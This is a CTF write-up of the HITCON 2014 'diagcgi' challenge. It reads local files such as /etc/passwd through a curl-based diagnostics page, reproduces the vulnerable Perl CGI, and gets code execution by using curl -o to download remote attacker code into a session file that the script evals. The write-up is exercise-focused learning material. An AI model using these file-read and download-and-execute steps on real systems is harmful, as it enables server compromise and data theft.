19 August 2014

HITCON CTF 2014: DIAGCGI WRITEUP


Description
http://54.92.127.128:16888/




 opening the web page, we can see an input and 3 commands {ping/traceroute/curl}
seeing the way it output results and how it handles the inputs, assuming the param is passed to some exec function, when i tried to inject some extra command it just dont go well, so there's some waf/filter
let's go in a legit way then...
curl can open local files using file://FILEPATH
so let's just try it :D

file:///etc/passwd



 root:x:0:0:root:/root:/bin/bash  
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
 bin:x:2:2:bin:/bin:/usr/sbin/nologin  
 sys:x:3:3:sys:/dev:/usr/sbin/nologin  
 sync:x:4:65534:sync:/bin:/bin/sync  
 games:x:5:60:games:/usr/games:/usr/sbin/nologin  
 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
 libuuid:x:100:101::/var/lib/libuuid:  
 syslog:x:101:104::/home/syslog:/bin/false  
 messagebus:x:102:106::/var/run/dbus:/bin/false  
 landscape:x:103:109::/var/lib/landscape:/bin/false  
 sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin  
 pollinate:x:105:1::/var/cache/pollinate:/bin/false  
 ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash  
 key:x:1001:1001::/home/key:  

ok it works, maby the page source will reveal something
checking the cgi-bin path on server
file:///etc/apache2/conf-available/serve-cgi-bin.conf

it's /usr/lib/cgi-bin

so let's grab that script code
file:///usr/lib/cgi-bin/dana-na.cgi


 #!/usr/bin/perl -w  
 use CGI;  
 use Digest::MD5 qw(md5_hex);  
 $cgi = new CGI;  
 $SESSDIR = "/tmp/";  
 $sessfile = $cgi->cookie("diagsess");  
 $arg0 = $cgi->param("arg");  
 $action = $cgi->param("action");  
 $arg = &safestr($arg0);  
 if (! defined($sessfile) )  
 {  
 if ( md5_hex($cgi->param("sechash")) =~ /^000000000000.*$/)  
 {  
 $sesshash{'user'} = 'admin';  
 }  
 else  
 {  
 $sesshash{'user'} = 'guest';  
 }  
 $sesshash{'ip'} = &get_ip;  
 $diagsess = md5_hex( $sesshash{'user'} . '|||' . $sesshash{'ip'} );  
 $cookie = "diagsess=$diagsess;";  
 &write_session;  
 print $cgi->header(-cookie => $cookie,  
 -expires => 'Mon, 01 Jan 1999 00:00:00 GMT',  
 -'cache-control' => 'no-cache',  
 -pragma => 'no-cache',-'location'=> 'dana-na.cgi?sechash=' );  
 exit 0;  
 }  
 else  
 {  
 print $cgi->header();  
 &read_session;  
 &print_menu;  
 }  
 if (defined ($action) && length($action)>0)  
 {  
 if ($action =~ /^print_session$/)  
 {  
 &print_session;  
 exit 0;  
 }  
 if ($action =~ /^curl$/)  
 {  
 &curl($arg);  
 exit 0;  
 }  
 if ($action =~ /^ping$/ )  
 {  
 &ping($arg);  
 exit 0;  
 }  
 if ($action =~ /^traceroute$/)  
 {  
 &traceroute ($arg);  
 exit 0;  
 }  
 if ($action =~ /^shell$/)  
 {  
 &shell($arg);  
 exit 0;  
 }  
 }  
 sub curl  
 {  
 $host = shift;  
 print "<pre><textarea rows=24 cols=80>";  
 if (defined($host) && length($host)>1)  
 {  
 open(GG,"/usr/bin/curl -s $host |") and do  
 {  
 while(<GG>)  
 {  
 print;  
 }  
 }  
 }  
 }  
 sub ping  
 {  
 my $host = shift;  
 print "<pre>";  
 if(defined($host) && length($host)>1)  
 {  
 open(GG,"/bin/ping -c3 $host |") and do  
 {  
 while(<GG>)  
 {  
 print;  
 }  
 };  
 close GG;  
 }  
 }  
 sub traceroute  
 {  
 my $host = shift;  
 print "<pre>";  
 if(defined($host) && length($host)>1)  
 {  
 open(GG,"/usr/sbin/traceroute -d -n -w 5 $host |") and do  
 {  
 while(<GG>)  
 {  
 print;  
 }  
 };  
 close GG;  
 }  
 }  
 sub read_session  
 {  
 undef %sesshash;  
 if(! -f "$SESSDIR/$sessfile")  
 {  
 print "session error!";  
 return;  
 }  
 open(GG, "$SESSDIR/$sessfile") and do {  
 while (<GG>) {  
 eval($_);  
 }  
 close GG;  
 };  
 }  
 sub write_session  
 {  
 open(GG, ">$SESSDIR/$diagsess") and do  
 {  
 foreach (sort keys %sesshash)  
 {  
 print GG "\$sesshash{'$_'} = '$sesshash{$_}';\n";  
 }  
 };  
 close GG;  
 }  
 sub print_session  
 {  
 foreach (sort keys %sesshash) {  
 print "$_=$sesshash{$_}\n";  
 }  
 }  
 sub shell  
 {  
 $cmd = shift;  
 print "<pre>";  
 if ( $sesshash{'user'} eq 'admin' )  
 {  
 open(GG, "$cmd |") and do  
 {  
 print;  
 };  
 }  
 else  
 {  
 print "sorry $sesshash{'user'}! you're not admin!\n";  
 }  
 }  
 sub print_menu  
 {  
 $arg0 =~ s/\</\<\;/g;  
 open(GG,"cat menu.html |") and do  
 {  
 while(<GG>)  
 {  
 $_ =~ s/\%\%arg\%\%/$arg0/g;  
 print $_;  
 }  
 close GG;  
 };  
 }  
 sub get_ip  
 {  
 $h1 = $ENV{'REMOTE_ADDR'};  
 $h2 = $ENV{'HTTP_CLIENT_IP'};  
 $h3 = $ENV{'HTTP_X_FORWARDED_FOR'};  
 if (length($h3)>0)  
 {  
 return $h3;  
 }  
 elsif (length($h2)>0)  
 {  
 return $h2;  
 }  
 else  
 {  
 return $h1;  
 }  
 return "UNKNOWN";  
 }  
 sub safestr  
 {  
 my $str = shift;  
 $str =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;;  
 return $str;  
 }  

the shell function actually does nothing, so being an admin is pointless
the vulnerability is in read_session function

sub read_session  
 {  
 undef %sesshash;  
 if(! -f "$SESSDIR/$sessfile")  
 {  
 print "session error!";  
 return;  
 }  
 open(GG, "$SESSDIR/$sessfile") and do {  
 while (<GG>) {  
 eval($_);  
 }  
 close GG;  
 };  
 }  

this function is being called with the script execution by default and it eval the session file content
so writing system command in our session it will be executed
let's just use curl again with option -o

 -o /tmp/session link_to_my_evil_code  

and we modify our cookie and open the webpage and our code is executed
the flag was /key.txt but with different user privileges, but there's was some binary called read_file with same user as key.txt that actually prints out given file name
so our final evil code should be system("/read_key /key.txt");

and Bingo !
HITCON{a755be06b165ed8fc4710d3544fce942}

1 comment: